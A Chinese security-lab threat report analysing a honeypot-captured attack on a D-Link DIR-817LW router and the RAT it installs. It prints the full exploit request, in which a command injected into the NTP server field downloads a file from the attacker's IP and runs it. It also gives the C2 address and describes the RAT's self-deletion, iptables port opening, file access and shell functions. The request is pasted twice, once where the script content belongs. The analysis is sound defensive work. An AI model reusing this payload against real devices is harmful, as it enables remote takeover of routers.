一、背景概述
2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir 817LW路由器遭受来自澳大利亚IP的攻击。系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析,发现该次攻击投递的恶意样本为具备RAT功能的恶意程序。
二、关键线索
2.1 攻击特征
我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征,发现此漏洞是Nday,暂无漏洞编号。
POST /hedwig.cgi HTTP/1.0 Host: 158.*.*.8:8011 Connection: close Content-Length: 515 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/xml Cookie: uid=5r3JP1jSru <postxml> <module> <service>DEVICE.TIME</service> <device> <time> <ntp> <enable>1</enable> <period>604800</period> <server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) & exit; </server> </ntp> <ntp6> <enable>1</enable> <period>604800</period> </ntp6> <timezone>57</timezone> <time/> <date/> <dst>0</dst> <dstmanual/> <dstoffset/> </time> </device> </module> </postxml>
2.2 Shell脚本内容
上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行,文件内容如下所示。
POST /hedwig.cgi HTTP/1.0 Host: 158.*.*.8:8011 Connection: close Content-Length: 515 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Content-Type: text/xml Cookie: uid=5r3JP1jSru <postxml> <module> <service>DEVICE.TIME</service> <device> <time> <ntp> <enable>1</enable> <period>604800</period> <server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) & exit; </server> </ntp> <ntp6> <enable>1</enable> <period>604800</period> </ntp6> <timezone>57</timezone> <time/> <date/> <dst>0</dst> <dstmanual/> <dstoffset/> </time> </device> </module> </postxml>
根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行。我们从真实下载地址http://149.28.174.108:80/dal下载了样本得到dal文件。
三、样本分析
3.1 动态养殖
构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时,首先会检测传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法,可以阻止部分沙箱对样本进行养殖与监控。
3.1.1 文件行为
当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时,进程会删除程序源文件,同时建立两个进程名为sh的子进程。
pi 1074 1 0 10:50 ? 00:00:00 sh pi 1075 1074 0 10:50 ? 00:00:00 sh pi 1084 905 0 10
:50 pts/0 00:00:00 ps -e
3.1.2 网络行为
进一步分析网络通联情况,发现该程序会监听9725端口。
pi@raspberrypi:/tmp $ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9725 0.0.0.0:* LISTEN tcp 0 224 192.168.6.188:22 192.168.4.148:26563 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN udp 0 0 0.0.0.0:56975 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp6 0 0 :::5353 :::* udp6 0 0 :::51194 :::* raw6 0 0 :::58 :::* 7
此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯,心跳周期为60秒,所发送数据包内容为空。
结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。
样本名 回连间隔 C2 IP C2端口
dal 60 45.149.156.71 97013.2 静态分析
3.2.1 自删除
运行后,先获取程序绝对路径并删除自身。
3.2.2 创建子进程1并放行端口
将子进程设置为守护进程。
子进程1会监听9725端口。
由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口,确保设备存在防火墙情况下也能与程序正常通讯。
3.2.3 创建子进程2并回连C2
子进程2:主动发起请求回连C2
3.2.4 指令操作
当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C 函数去处理接收的攻击者指令,根据接收到的不同命令实现不同的功能。
3.2.4.1 远程文件读取
Case 1 包括接收命令,打开文件和读取文件,发送数据。
3.2.4.2 远程文件写入
Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。
3.2.4.3 伪终端功能
Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送。我们根据此函数打开设备文件位置判断这是打开伪终端。